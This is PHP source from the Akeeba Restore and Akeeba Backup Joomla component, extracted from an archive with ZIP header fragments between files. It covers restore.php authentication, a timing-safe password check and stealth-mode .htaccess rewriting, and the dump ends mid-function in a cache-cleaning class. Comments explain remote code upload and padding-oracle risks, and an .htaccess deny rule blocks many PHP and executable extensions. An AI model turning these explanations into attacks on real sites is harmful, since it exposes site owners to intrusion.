		$lookupKey = "PBKDF2-$algorithm-$iterations-" . AKUtilsHash::md5($password . $staticSalt);

		if (!array_key_exists($lookupKey, self::$passwords))
		{
			self::$passwords[$lookupKey] = self::pbkdf2($password, $staticSalt, $algorithm, $iterations, $keySizeBytes);
		}

		return self::$passwords[$lookupKey];
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A timing safe equals comparison
 *
 * @param   string  $safe  The internal (safe) value to be checked
 * @param   string  $user  The user submitted (unsafe) value
 *
 * @return  boolean  True if the two strings are identical.
 *
 * @see     http://blog.ircmaxell.com/2014/11/its-all-about-time.html
 */
function timingSafeEquals($safe, $user)
{
	$safeLen = strlen($safe);
	$userLen = strlen($user);

	if ($userLen != $safeLen)
	{
		return false;
	}

	$result = 0;

	for ($i = 0; $i < $userLen; $i++)
	{
		$result |= (ord($safe[$i]) ^ ord($user[$i]));
	}

	// They are only identical strings if $result is exactly 0...
	return $result === 0;
}

/**
 * The Master Setup will read the configuration parameters from restoration.php or
 * the JSON-encoded "configuration" input variable and return the status.
 *
 * @return bool True if the master configuration was applied to the Factory object
 */
function masterSetup()
{
	// ------------------------------------------------------------
	// 1. Import basic setup parameters
	// ------------------------------------------------------------

	$ini_data = null;

	// In restore.php mode, require restoration.php or fail
	if (!defined('KICKSTART'))
	{
		// On Joomla 5 we need to look for a defines.php file, in case we are in a custom public folder
		$definesFile = '../../../defines.php';

		if (file_exists($definesFile))
		{
			$fileContents = @file_get_contents($definesFile) ?: '';

			if (strpos($fileContents, "define('JPATH_PUBLIC'") !== false)
			{
				defined('_JEXEC') || define('_JEXEC', 1);
			}

			require_once $definesFile;
		}

		// This is the standalone mode, used by Akeeba Backup Professional. It looks for a restoration.php
		// file to perform its magic. If the file is not there, we will abort.
		$alternateFiles = [
			__DIR__ . '/restoration.php',
			'restoration.php',
		];

		if (defined('JPATH_PUBLIC'))
		{
			$alternateFiles[] = JPATH_PUBLIC . 'administrator/components/com_akeebabackup/restoration.php';
		}

		$foundSetupFile = false;

		foreach ($alternateFiles as $setupFile)
		{
			if (file_exists($setupFile))
			{
				$foundSetupFile = true;

				break;
			}
		}

		if (!$foundSetupFile)
		{
			AKFactory::set('kickstart.enabled', false);

			return false;
		}

		/**
		 * If the setup file was created more than 1.5 hours ago we can assume that it's stale and someone forgot to
		 * remove it from the server. This hinders brute force attacks against the Kickstart password. Even a simple
		 * 8 character simple alphanum (a-z, 0-9) password yields over 2.8e12. Assuming a very fast server which can
		 * serve 100 requests to restore.php per second and an easy to attack password requiring going over just 1% of
		 * the search space it'd still take over 282 million seconds to brute force it. Our limit is more than 4 orders
		 * of magnitude lower than this best practical case scenario, giving us adequate protection against all but the
		 * luckiest attacker (spoiler alert: the mathematics of probabilities say you're not gonna get lucky).
		 *
		 * It is still advisable to remove the restoration.php file once you are done with the extraction. This check
		 * here is only meant as a failsafe in case of a server error during the extraction and subsequent lack of user
		 * action to remove the restoration.php file from their server.
		 */
		$setupFieCreationTime = filectime($setupFile);

		if (abs(time() - $setupFieCreationTime) > 5400)
		{
			AKFactory::set('kickstart.enabled', false);

			return false;
		}

		// Load restoration.php. It creates a global variable named $restoration_setup
		require_once $setupFile;

		$ini_data = $restoration_setup;

		if (empty($ini_data))
		{
			// No parameters fetched. Darn, how am I supposed to work like that?!
			AKFactory::set('kickstart.enabled', false);

			return false;
		}

		AKFactory::set('kickstart.enabled', true);
	}
	else
	{
		// Maybe we have $restoration_setup defined in the head of kickstart.php
		global $restoration_setup;

		if (!empty($restoration_setup) && !is_array($restoration_setup))
		{
			$ini_data = AKText::parse_ini_file($restoration_setup, false, true);
		}
		elseif (is_array($restoration_setup))
		{
			$ini_data = $restoration_setup;
		}
	}

	// Import any data from $restoration_setup
	if (!empty($ini_data))
	{
		foreach ($ini_data as $key => $value)
		{
			AKFactory::set($key, $value);
		}
		AKFactory::set('kickstart.enabled', true);
	}

	// Reinitialize $ini_data
	$ini_data = null;

	/**
	 * August 2018. Some third party developer with a dubious skill level (or complete lack thereof) wrote a piece of
	 * code which uses restore.php with an empty password (and never deleted the restoration.php file he created).
	 * According to his code comments he did this because he couldn't figure out how to make encrypted requests work,
	 * DESPITE THE FACT that com_joomlaupdate (part of Joomla! itself) has working code which does EXACTLY THAT. >:-o
	 *
	 * As a result of his actions all sites running his software have a massive vulnerability inflicted upon them. An
	 * attacker can absuse the (unlocked) restore.php to upload and install any arbitrary code in a ZIP archive,
	 * possibly overwriting core code. Discovering this problem takes a few seconds and there is code which is doing
	 * exactly that published years ago (during the active maintenance period of Joomla! 3.4, that long ago).
	 *
	 * This bit of code here detects an empty password and disables restore.php. His badly written software fails to
	 * execute and, most importantly, the unlucky users of his software will no longer have a remote code upload /
	 * remote code execution vulnerability on their sites.
	 *
	 * Remember, people, if you can't be bothered to take web application security seriously DO NOT SELL WEB SOFTWARE
	 * FOR A LIVING. There are other honest jobs you can do which don't involve using a computer in a dangerous and
	 * irresponsible manner.
	 */
	$password = AKFactory::get('kickstart.security.password', null);

	if (empty($password) || (trim($password) == '') || (strlen(trim($password)) < 10))
	{
		AKFactory::set('kickstart.enabled', false);

		return false;
	}


	// ------------------------------------------------------------
	// 2. Explode JSON parameters into $_REQUEST scope
	// ------------------------------------------------------------

	// Detect a JSON string in the request variable and store it.
	$json = getQueryParam('json', null);

	// Detect a password in the request variable and store it.
	$userPassword = getQueryParam('password', '');

	// Remove everything from the request, post and get arrays
	if (!empty($_REQUEST))
	{
		foreach ($_REQUEST as $key => $value)
		{
			unset($_REQUEST[$key]);
		}
	}

	if (!empty($_POST))
	{
		foreach ($_POST as $key => $value)
		{
			unset($_POST[$key]);
		}
	}

	if (!empty($_GET))
	{
		foreach ($_GET as $key => $value)
		{
			unset($_GET[$key]);
		}
	}

	// Authentication - Akeeba Restore 5.4.0 or later
	$password = AKFactory::get('kickstart.security.password', null);
	$isAuthenticated = false;

	/**
	 * Akeeba Restore 5.3.1 and earlier use a custom implementation of AES-128 in CTR mode to encrypt the JSON data
	 * between client and server. This is not used as a means to maintain secrecy (it's symmetrical encryption and the
	 * key is, by necessity, transmitted with the HTML page to the client). It's meant as a form of authentication, so
	 * that the server part can ensure that it only receives commands by an authorized client.
	 *
	 * The downside is that encryption in CTR mode (like CBC) is an all-or-nothing affair. This opens the possibility
	 * for a padding oracle attack (https://en.wikipedia.org/wiki/Padding_oracle_attack). While Akeeba Restore was
	 * hardened in 2014 to prevent the bulk of suck attacks it is still possible to attack the encryption using a very
	 * large number of requests (several dozens of thousands).
	 *
	 * Since Akeeba Restore 5.4.0 we have removed this authentication method and replaced it with the transmission of a
	 * very large length password. On the server side we use a timing safe password comparison. By its very nature, it
	 * will only leak the (well known, constant and large) length of the password but no more information about the
	 * password itself. See http://blog.ircmaxell.com/2014/11/its-all-about-time.html  As a result this form of
	 * authentication is many orders of magnitude harder to crack than regular encryption.
	 *
	 * Now you may wonder "how is sending a password in the clear hardier than encryption?". If you ask that question
	 * you were not paying attention. The password needs to be known by BOTH the server AND the client (browser). Since
	 * this password is generated programmatically by the server, it MUST be sent to the client by the server. If an
	 * attacker is able to intercept this transmission (man in the middle attack) using encryption is irrelevant: the
	 * attacker already knows your password. This situation also applies when the user sends their own password to the
	 * server, e.g. when logging into their site. The ONLY way to avoid security issues regarding information being
	 * stolen in transit is using HTTPS with a commercially signed SSL certificate. Unlike 2008, when Kickstart was
	 * originally written, obtaining such a certificate nowadays is trivial and costs absolutely nothing thanks to Let's
	 * Encrypt (https://letsencrypt.org/).
	 *
	 * TL;DR: Use HTTPS with a commercially signed SSL certificate, e.g. a free certificate from Let's Encrypt. Client-
	 * side cryptography does NOT protect you against an attacker (see
	 * https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2011/august/javascript-cryptography-considered-harmful/).
	 * Moreover, sending a plaintext password is safer than relying on client-side encryption for authentication as it
	 * removes the possibility of an attacker inferring the contents of the authentication key (password) in a relatively
	 * easy and automated manner.
	 */
	if (!empty($password))
	{
		// Timing-safe password comparison. See http://blog.ircmaxell.com/2014/11/its-all-about-time.html
		if (!timingSafeEquals($password, $userPassword))
		{
			die('###{"status":false,"message":"Invalid login"}###');
		}
	}

	// No JSON data? Die.
	if (empty($json))
	{
		die('###{"status":false,"message":"Invalid JSON data"}###');
	}

	// Handle the JSON string
	$raw = json_decode($json, true);

	// Invalid JSON data?
	if (empty($raw))
	{
		die('###{"status":false,"message":"Invalid JSON data"}###');
	}

	// Pass all JSON data to the request array
	if (!empty($raw))
	{
		foreach ($raw as $key => $value)
		{
			$_REQUEST[$key] = $value;
		}
	}

	// ------------------------------------------------------------
	// 3. Try the "factory" variable
	// ------------------------------------------------------------
	// A "factory" variable will override all other settings.
	$serialized = getQueryParam('factory', null);

	if (!is_null($serialized))
	{
		// Get the serialized factory
		AKFactory::unserialize($serialized);
		AKFactory::set('kickstart.enabled', true);

		return true;
	}

	// ------------------------------------------------------------
	// 4. Try the configuration variable for Kickstart
	// ------------------------------------------------------------
	if (defined('KICKSTART'))
	{
		$configuration = getQueryParam('configuration');

		if (!is_null($configuration))
		{
			// Let's decode the configuration from JSON to array
			$ini_data = json_decode($configuration, true);
		}
		else
		{
			// Neither exists. Enable Kickstart's interface anyway.
			$ini_data = ['kickstart.enabled' => true];
		}

		// Import any INI data we might have from other sources
		if (!empty($ini_data))
		{
			foreach ($ini_data as $key => $value)
			{
				AKFactory::set($key, $value);
			}

			AKFactory::set('kickstart.enabled', true);

			return true;
		}
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Mini-controller for restore.php
if (!defined('KICKSTART'))
{
	// The observer class, used to report number of files and bytes processed
	class RestorationObserver extends AKAbstractPartObserver
	{
		public $compressedTotal = 0;
		public $uncompressedTotal = 0;
		public $filesProcessed = 0;

		public function update($object, $message)
		{
			if (!is_object($message))
			{
				return;
			}

			if (!array_key_exists('type', get_object_vars($message)))
			{
				return;
			}

			if ($message->type == 'startfile')
			{
				$this->filesProcessed++;
				$this->compressedTotal += $message->content->compressed;
				$this->uncompressedTotal += $message->content->uncompressed;
			}
		}

		public function __toString()
		{
			return self::class;
		}

	}

	// Import configuration
	masterSetup();

	$retArray = [
		'status'  => true,
		'message' => null
	];

	$enabled = AKFactory::get('kickstart.enabled', false);

	if ($enabled)
	{
		$task = getQueryParam('task');

		switch ($task)
		{
			case 'ping':
				// ping task - really does nothing!
				$timer = AKFactory::getTimer();
				$timer->enforce_min_exec_time();
				break;

			/**
			 * There are two separate steps here since we were using an inefficient restoration initialization method in
			 * the past. Now both startRestore and stepRestore are identical. The difference in behavior depends
			 * exclusively on the calling Javascript. If no serialized factory was passed in the request then we start a
			 * new restoration. If a serialized factory was passed in the request then the restoration is resumed. For
			 * this reason we should NEVER call AKFactory::nuke() in startRestore anymore: that would simply reset the
			 * extraction engine configuration which was done in masterSetup() leading to an error about the file being
			 * invalid (since no file is found).
			 */
			case 'startRestore':
			case 'stepRestore':
				if ($task == 'startRestore')
				{
					// Fetch path to the site root from the restoration.php file, so we can tell the engine where it should operate
					$siteRoot = AKFactory::get('kickstart.setup.destdir', '');

					// Before starting, read and save any custom AddHandler directive
					$phpHandlers = getPhpHandlers($siteRoot);
					AKFactory::set('kickstart.setup.phphandlers', $phpHandlers);

					// If the Stealth Mode is enabled, create the .htaccess file
					if (AKFactory::get('kickstart.stealth.enable', false))
					{
						createStealthURL($siteRoot);
					}
					// No stealth mode, but we have custom handler directives, must write our own file
					elseif ($phpHandlers)
					{
						writePhpHandlers($siteRoot);
					}
				}

				/**
				 * First try to run the filesystem zapper (remove all existing files and folders). If the Zapper is
				 * disabled or has already finished running we will get a FALSE result. Otherwise it's a status array
				 * which we can pass directly back to the caller.
				 */
				$nullObserver = new AKPartNullObserver();
				$ret          = runZapper($nullObserver);

				// If the Zapper had a step to run we stop here and return its status array to the caller.
				if ($ret !== false)
				{
					$retArray = array_merge($retArray, $ret);

					break;
				}

				$engine   = AKFactory::getUnarchiver(); // Get the engine
				$observer = new RestorationObserver(); // Create a new observer
				$engine->attach($observer); // Attach the observer
				$engine->tick();
				$ret = $engine->getStatusArray();

				if ($ret['Error'] != '')
				{
					$retArray['status']  = false;
					$retArray['done']    = true;
					$retArray['message'] = $ret['Error'];
				}
				elseif (!$ret['HasRun'])
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = true;
				}
				else
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = false;
					$retArray['factory']  = AKFactory::serialize();
				}

				$timer = AKFactory::getTimer();
				$timer->enforce_min_exec_time();

				break;

			case 'finalizeRestore':
				$root = AKFactory::get('kickstart.setup.destdir');
				// Remove the installation directory
				recursive_remove_directory($root . '/installation');

				$postproc = AKFactory::getPostProc();

				/**
				 * Should I rename the htaccess.bak and web.config.bak files back to their live filenames...?
				 */
				$renameFiles = AKFactory::get('kickstart.setup.postrenamefiles', true);

				if ($renameFiles)
				{
					// Rename htaccess.bak to .htaccess
					if (file_exists($root . '/htaccess.bak'))
					{
						if (file_exists($root . '/.htaccess'))
						{
							$postproc->unlink($root . '/.htaccess');
						}

						$postproc->rename($root . '/htaccess.bak', $root . '/.htaccess');
					}

					// Rename htaccess.bak to .htaccess
					if (file_exists($root . '/web.config.bak'))
					{
						if (file_exists($root . '/web.config'))
						{
							$postproc->unlink($root . '/web.config');
						}

						$postproc->rename($root . '/web.config.bak', $root . '/web.config');
					}
				}

				// Remove restoration.php
				$basepath = KSROOTDIR;
				$basepath = rtrim(str_replace('\\', '/', $basepath), '/');

				if (!empty($basepath))
				{
					$basepath .= '/';
				}

				$postproc->unlink($basepath . 'restoration.php');
				clearFileInOPCache($basepath . 'restoration.php');

				// Import a custom finalisation file
				$filename = __DIR__ . '/restore_finalisation.php';

				if (file_exists($filename))
				{
					// opcode cache busting before including the filename
					if (function_exists('opcache_invalidate'))
					{
						opcache_invalidate($filename, true);
					}

					if (function_exists('apc_compile_file'))
					{
						apc_compile_file($filename);
					}

					if (function_exists('wincache_refresh_if_changed'))
					{
						wincache_refresh_if_changed([$filename]);
					}

					if (function_exists('xcache_asm'))
					{
						xcache_asm($filename);
					}

					include_once $filename;
				}

				// Run a custom finalisation script
				if (function_exists('finalizeRestore'))
				{
					finalizeRestore($root, $basepath);
				}

				break;

			default:
				// Invalid task!
				$enabled = false;
				break;
		}
	}

	// Maybe we weren't authorized or the task was invalid?
	if (!$enabled)
	{
		// Maybe the user failed to enter any information
		$retArray['status']  = false;
		$retArray['message'] = AKText::_('ERR_INVALID_LOGIN');
	}

	// JSON encode the message
	$json = json_encode($retArray);

	// Return the message
	echo "###$json###";

}

// ------------ lixlpixel recursive PHP functions -------------
// recursive_remove_directory( directory to delete, empty )
// expects path to directory and optional TRUE / FALSE to empty
// of course PHP has to have the rights to delete the directory
// you specify and all files and folders inside the directory
// ------------------------------------------------------------
function recursive_remove_directory($directory)
{
	// if the path has a slash at the end we remove it here
	if (substr($directory, -1) == '/')
	{
		$directory = substr($directory, 0, -1);
	}

	// if the path is not valid or is not a directory ...
	if (!file_exists($directory) || !is_dir($directory))
	{
		// ... we return false and exit the function
		return false;
		// ... if the path is not readable
	}
	elseif (!is_readable($directory))
	{
		// ... we return false and exit the function
		return false;
		// ... else if the path is readable
	}
	else
	{
		// we open the directory
		$handle   = opendir($directory);
		$postproc = AKFactory::getPostProc();

		// and scan through the items inside
		while (false !== ($item = readdir($handle)))
		{
			// if the filepointer is not the current directory
			// or the parent directory

			if ($item != '.' && $item != '..')
			{
				// we build the new path to delete
				$path = $directory . '/' . $item;

				// if the new path is a directory
				if (is_dir($path))
				{
					// we call this function with the new path
					recursive_remove_directory($path);
					// if the new path is a file
				}
				else
				{
					// we remove the file
					$postproc->unlink($path);
					clearFileInOPCache($path);
				}
			}
		}

		// close the directory
		closedir($handle);

		// try to delete the now empty directory
		if (!$postproc->rmdir($directory))
		{
			// return false if not possible
			return false;
		}

		// return success
		return true;
	}
}

function createStealthURL($siteRoot = '')
{
	$filename = AKFactory::get('kickstart.stealth.url', '');

	// We need an HTML file!
	if (empty($filename))
	{
		return;
	}

	// Make sure it ends in .html or .htm
	$filename = basename($filename);

	if ((strtolower(substr($filename, -5)) != '.html') && (strtolower(substr($filename, -4)) != '.htm'))
	{
		return;
	}

	if ($siteRoot)
	{
		$siteRoot = rtrim($siteRoot, '/').'/';
	}

	$filename_quoted = str_replace('.', '\\.', $filename);
	$rewrite_base    = trim(dirname(AKFactory::get('kickstart.stealth.url', '')), '/');

	// Get the IP
	$userIP = $_SERVER['REMOTE_ADDR'];
	$userIP = str_replace('.', '\.', $userIP);

	// Get the .htaccess contents
	$stealthHtaccess = <<<ENDHTACCESS
RewriteEngine On
RewriteBase /$rewrite_base
RewriteCond %{REMOTE_ADDR}		!$userIP
RewriteCond %{REQUEST_URI}		!$filename_quoted
RewriteCond %{REQUEST_URI}		!(\.png|\.jpg|\.gif|\.jpeg|\.bmp|\.swf|\.css|\.js)$
RewriteRule (.*)				$filename	[R=307,L]

ENDHTACCESS;

	$customHandlers = portPhpHandlers();

	// Port any custom handlers in the stealth file
	if ($customHandlers)
	{
		$stealthHtaccess .= "\n".$customHandlers."\n";
	}

	// Write the new .htaccess, removing the old one first
	$postproc = AKFactory::getpostProc();
	$postproc->unlink($siteRoot.'.htaccess');
	$tempfile = $postproc->processFilename($siteRoot.'.htaccess');
	@file_put_contents($tempfile, $stealthHtaccess);
	$postproc->process();
}

/**
 * Checks if there is an .htaccess file and has any AddHandler directive in it.
 * In that case, we return the affected lines so they could be stored for later use
 *
 * @return  array
 */
function getPhpHandlers($root = null)
{
	if (!$root)
	{
		$root = AKKickstartUtils::getPath();
	}

	$htaccess   = $root.'/.htaccess';
	$directives = [];

	if (!file_exists($htaccess))
	{
		return $directives;
	}

	$contents   = file_get_contents($htaccess);
	$directives = AKUtilsHtaccess::extractHandler($contents);
	$directives = empty($directives) ? [] : explode("\n", $directives);

	return $directives;
}

/**
 * Fetches any stored php handler directive stored inside the factory and creates a string with the correct markers
 *
 * @return string
 */
function portPhpHandlers()
{
	$phpHandlers = AKFactory::get('kickstart.setup.phphandlers', []);

	if (!$phpHandlers)
	{
		return '';
	}

	$customHandler  = "### AKEEBA_KICKSTART_PHP_HANDLER_BEGIN ###\n";
	$customHandler .= implode("\n", $phpHandlers)."\n";
	$customHandler .= "### AKEEBA_KICKSTART_PHP_HANDLER_END ###\n";

	return $customHandler;
}

function writePhpHandlers($siteRoot = '')
{
	$contents = portPhpHandlers();

	if (!$contents)
	{
		return;
	}

	if ($siteRoot)
	{
		$siteRoot = rtrim($siteRoot, '/').'/';
	}

	// Write the new .htaccess, removing the old one first
	$postproc = AKFactory::getpostProc();
	$postproc->unlink($siteRoot.'.htaccess');
	$tempfile = $postproc->processFilename($siteRoot.'.htaccess');
	@file_put_contents($tempfile, $contents);
	$postproc->process();
}
PK     \Fà      src/Table/ProfileTable.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Table;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\GetPropertiesAwareTrait;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;
use Joomla\Database\DatabaseDriver;
use RuntimeException;

/**
 * Backup profile table
 *
 * @since 9.0.0
 */
#[\AllowDynamicProperties]
class ProfileTable extends Table
{
	use GetPropertiesAwareTrait;

	/**
	 * Engine configuration data
	 *
	 * @since 9.0.0
	 * @var   string|null
	 */
	public $configuration = null;

	/**
	 * Description
	 *
	 * @since 9.0.0
	 * @var   string|null
	 */
	public $description = null;

	/**
	 * Engine filters
	 *
	 * @since 9.0.0
	 * @var   string|null
	 */
	public $filters = null;

	/**
	 * Profile ID
	 *
	 * @since 9.0.0
	 * @var   int|null
	 */
	public $id = null;

	/**
	 * Should I include this profile in the One Click Backup profiles (1) or not (0)?
	 *
	 * @since 9.0.0
	 * @var   int|null
	 */
	public $quickicon = 1;

	/**
	 * Object constructor to set table and key fields.
	 *
	 * @param   DatabaseDriver  $db  DatabaseDriver object.
	 *
	 * @since   9.0.0
	 */
	public function __construct(DatabaseDriver $db)
	{
		parent::__construct('#__akeebabackup_profiles', 'id', $db);

		$this->setColumnAlias('published', 'quickicon');
	}

	/**
	 * Tries to copy the currently loaded to a new record
	 *
	 * @return  self  The new record
	 * @since   9.0.0
	 */
	public function copy($data = null)
	{
		$id = $this->getId();

		// Check for invalid id's (not numeric, or <= 0)
		if ((!is_numeric($id)) || ($id <= 0))
		{
			throw new RuntimeException('No profile has been loaded yet', 500);
		}

		if (!is_array($data))
		{
			$data = [];
		}

		$data['id'] = 0;

		$newRecord = clone $this;

		$newRecord->save($data);

		return $newRecord;
	}

	/**
	 * Method to delete a row from the database table by primary key value.
	 *
	 * @param   mixed  $pk  An optional primary key value to delete.  If not set the instance property value is used.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   9.0.0
	 * @throws  \UnexpectedValueException
	 */
	public function delete($pk = null)
	{
		// Which record am I deleting?
		if (\is_null($pk))
		{
			$id = $this->getId();
		}
		elseif (!\is_array($pk))
		{
			$id = (int) $pk;
		}
		else
		{
			$id = $pk[$this->_tbl_key] ?? 0;
		}

		// You cannot delete the default record
		if ($id <= 1)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT'));
		}

		// If you're deleting the current backup profile we have to switch to the default profile (#1)
		$activeProfile = Platform::getInstance()->get_active_profile();

		if ($id == $activeProfile)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE'));
		}

		return parent::delete($pk);
	}

	/**
	 * Save a profile from imported configuration data. The $data array must contain the keys description (profile
	 * description), configuration (engine configuration INI data) and filters (inclusion and inclusion filters JSON
	 * configuration data).
	 *
	 * @param   array  $data  See above
	 *
	 * @return  void
	 *
	 * @throws   RuntimeException  When an iport error occurs
	 * @since    9.0.0
	 */
	public function import(array $data)
	{
		// Check for data validity
		$isValid =
			!empty($data) &&
			array_key_exists('description', $data) &&
			array_key_exists('configuration', $data) &&
			array_key_exists('filters', $data);

		if (!$isValid)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID'));
		}

		// Unset the id, if it exists
		if (array_key_exists('id', $data))
		{
			unset($data['id']);
		}

		$data['akeeba.flag.confwiz'] = 1;

		// Try saving the profile
		$result = $this->save($data);

		if (!$result)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED'));
		}
	}

}PK     \Fξ      src/Table/StatisticTable.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Table;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\GetPropertiesAwareTrait;
use Joomla\CMS\Table\Table;
use Joomla\Database\DatabaseDriver;

#[\AllowDynamicProperties]
class StatisticTable extends Table
{
	use GetPropertiesAwareTrait;

	/**
	 * The absolute path to the backup archive on the local filesystem
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $absolute_path = null;

	/**
	 * Basename and extension of the backup archive (last part with .jpa, .jps or .zip extension)
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $archivename = null;

	/**
	 * Backup end date and time
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $backupend = null;

	/**
	 * The backup identifier
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $backupid = null;

	/**
	 * Backup start date and time
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $backupstart = null;

	/**
	 * Backup comment
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $comment = null;

	/**
	 * Backup record description (non-nullable)
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $description = null;

	/**
	 * Are the files still present in the local filesystem?
	 *
	 * @since 9.0.0
	 * @var int
	 */
	public $filesexist = 1;

	/**
	 * Is the backup record frozen?
	 *
	 * @since 9.0.0
	 * @var int
	 */
	public $frozen = 0;

	/**
	 * Backup record ID
	 *
	 * @since 9.0.0
	 * @var int|null
	 */
	public $id = null;

	/**
	 * Am I running a backup step?
	 *
	 * If this is 0 and the state is 'run' I have just finished running a backup step, and I'm waiting for the next
	 * step to be triggered. If this is 1 and the state is 'run' I am either executing a step or my execution has been
	 * killed by PHP or the Operating System without me being notified. If the state is other than 'run' this MUST be 0.
	 * If the state is other than 'run' and this is 1 something has gone seriously wrong!
	 *
	 * @since 9.0.0
	 * @var int
	 */
	public $instep = 0;

	/**
	 * The number of parts of the backup archive. 0 (or 1) means single part.
	 *
	 * @since 9.0.0
	 * @var int
	 */
	public $multipart = 0;

	/**
	 * Backup origin
	 *
	 * @since 9.0.0
	 * @var string
	 */
	public $origin = 'backend';

	/**
	 * Backup profile ID
	 *
	 * @since 9.0.0
	 * @var int
	 */
	public $profile_id = 1;

	/**
	 * The pseudo-URI for the absolute path of the backup archive to the remote filesystem
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $remote_filename = null;

	/**
	 * Backup status (enumerable): 'run', 'fail', 'complete'
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $status = 'run';

	/**
	 * The backup tag
	 *
	 * @since 9.0.0
	 * @var string|null
	 */
	public $tag = null;

	/**
	 * Total backup size, in bytes
	 *
	 * @since 9.0.0
	 * @var int
	 */
	public $total_size = 0;

	/**
	 * Backup type, e.g. 'full', 'dbonly', ...
	 *
	 * @since 9.0.0
	 * @var string
	 */
	public $type = 'full';

	/**
	 * Object constructor to set table and key fields.
	 *
	 * @param   DatabaseDriver  $db  DatabaseDriver object.
	 *
	 * @since   9.0.0
	 */
	public function __construct(DatabaseDriver $db)
	{
		parent::__construct('#__akeebabackup_backups', 'id', $db);

		$this->setColumnAlias('published', 'frozen');
	}
}PK     \Sʉ        src/Table/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \;5      src/Service/CacheCleaner.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Service;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\RunPluginsTrait;
use Exception;
use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Cache\CacheControllerFactoryInterface;
use Throwable;

class CacheCleaner
{
	use RunPluginsTrait;

	protected $app;

	protected $cacheControllerFactory;

	public function __construct(CMSApplicationInterface $app, CacheControllerFactoryInterface $cacheControllerFactory)
	{
		$this->app                    = $app;
		$this->cacheControllerFactory = $cacheControllerFactory;
	}

	/**
	 * Clean a cache group
	 *
	 * @param   string  $group      The cache to clean, e.g. com_content
	 * @param   int     $client_id  The application ID for which the cache will be cleaned
	 * @param   object  $app        The current CMS application. DO NOT TYPEHINT MORE SPECIFICALLY!
	 *
	 * @return  array Cache controller options, including cleaning result
	 * @throws  Exception
	 */
	public function clearGroup(string $group): array
	{
		$options = [
			'defaultgroup' => $group,
			'cachebase'    => $this->app->get('cache_path', JPATH_CACHE),
			'result'       => true,
		];

		try
		{
			$this->cacheControllerFactory
				->createCacheController('callback', $options)
				->cache
				->clean();
		}
		catch (Throwable $e)
		{
			$options['result'] = false;
		}

		return $options;
	}

	/**
	 * Clears the specified cache groups.
	 *
	 * @param   array        $clearGroups   Which cache groups to clear. Usually this is com_yourcomponent to clear
	 *                                      your component's cache.
	 * @param   array        $cacheClients  Which cache clients to clear. 0 is the back-end, 1 is the front-end. If you
	 *                                      do not specify anything, both cache clients will be cleared.
	 * @param   string|null  $event         An event to run upon trying to clear the cache. Empty string to disable. If
	 *                                      NULL and the group is "com_content" I will trigger onContentCleanCache.
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function clearGroups(array $clearGroups, ?string $event = null): void
	{
		// Early return on nonsensical input
		if (empty($clearGroups))
		{
			return;
		}

		// Loop all groups to clean
		foreach ($clearGroups as $group)
		{
			// Groups must be non-empty strings
			if (empty($group) || !is_string($group))
			{
				continue;
			}

			$options = $this->clearGroup($group);

			// Do not call any events if I failed to clean the cache using the core Joomla API
			if (!($options['result'] ?? false))
			{
				return;
			}

			/**
			 * If you're cleaning com_content, and you have passed no event name I will use onContentCleanCache.
			 */
			if ($group === 'com_content')
			{
				$cacheCleaningEvent = $event ?: 'onContentCleanCache';
